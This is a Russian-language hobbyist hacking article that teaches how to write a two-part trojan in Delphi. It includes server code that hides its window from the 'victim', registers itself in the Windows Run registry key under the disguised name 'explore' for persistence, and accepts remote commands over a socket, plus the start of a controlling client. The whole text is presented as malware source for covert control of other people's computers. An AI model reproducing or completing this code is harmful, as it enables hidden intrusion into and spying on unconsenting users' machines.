[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая
статья:), поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я
взял троян ALB и считал себя суперхакером. Но вскоре я понял, что ХАКЕР - ЭТО
НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И
вот, через полгода я уже в состоянии написать собственный троян, этим мы и
займемся.
[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та
часть, которая будет на компьютере жертвы, она будет открывать соединение через
сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента.
Клиент - это, как ты догадался, прога, которая должна стоять у нас и управлять
сервером.
[Порты и сокеты]
Существует мировой стандарт структуры протоколов связи - семиуровневая OSI
(Open Systems Interface - интерфейс открытых систем). Hа каждом из уровней этой
структуры решается свой объем задач своими методами. Сокеты находятся на так
назывемом транспортном уровне - ниже находится сетевой протокол IP, выше -
специализированные протоколы сеансового уровня, ориентированные на решение
конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со
всеми присущими ему свойствами, и, естественно - возможностью получать и
передавать данные. Когда говорят СОКЕТ, то часто не представляют, что это
такое. Можно говорить о моделях, о реализациях и так далее. Но есть одно
простое толкование, применимое для протокола IP. Как известно для
взаимодействия между машинами по протоколу IP используются адреса и порты.
Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто
его представляют в символьной форме mmm.nnn.ppp.qqq (адрес разбитый на четыре
октета по одному байту в октете и разделеный точками) . Второе - это номер
порта в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в
котором расположены адрес и порт). В процессе обмена как правило используются
два сокета - сокет отправителя и сокет получателя. Порт - это
"гавань", на которую можно пристыковаться, как сказно выше, на одном
IP - 65535 портов. Все они есть в системе, но активны только несколько. Троян
на сервере открывает порт, а клиент к нему стыкуется. В это время идет обмен
данными.
[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются
ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и
TCPClient - они нам НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе
придется вручную установить их, для этого иди в Component>>insall
Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl
[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1. Установим
свойство port равным 45288, это порт, по которому наш троян будет принимать
приказы и отсылать секреты жертвы.
В разделе программы var описываем переменные:
i:string;
Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что
у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:
Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь:)}
ServerSocket1.Open; {Запускаем сервер}
Теперь сделаем так, чтобы троян прописывался в автозагрузку: (в uses добавить
registry, в var - registry:TRegistry;)
registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также
HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurrentversionrun',true); {подключ}
registry.Writestring('explore',Application.ExeName); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}
Теперь наш троян не только не виден в списке приложений, но и сам запускается с
запуском винды. Следующий шаг - принимаем команды от сервера:
В событии сервера OnClientRead {поступила команда от клиента} пишем:
i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для
сохранности}
{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.
Вот как это выглядит на Делфи:
}
if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)
{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}
Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот
- передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера. В раздел var добавляем переменную
типа integer, обзовем ее 'p'.
В той же процедуре добавляем:
if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');
Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение
"тестовая версия".
Не забудь сохранить проект.
С сервером разобрались, теперь клиент.
[Клиент]
Создаем новый проект.
//Клиент, который я использую довольно простой. Не вздумайте делать такой в
заказном трояне, например!!!
В var также обьявляем переменную i стрингового типа для сбрасывания получаемой
информации.
Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст
команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы
сервера.
Дальше обработчики событий для клиента:
{OnConnect}
sb.SimpleText:='Подключение произошло успешно';
На этом моя статья заканчивается. Сейчас я думаю, стоит ли мне писать и дальше
статьи по кодингу, или это моя первая и последняя статья? Проголосуйте за
статью, чтобы я это узнал.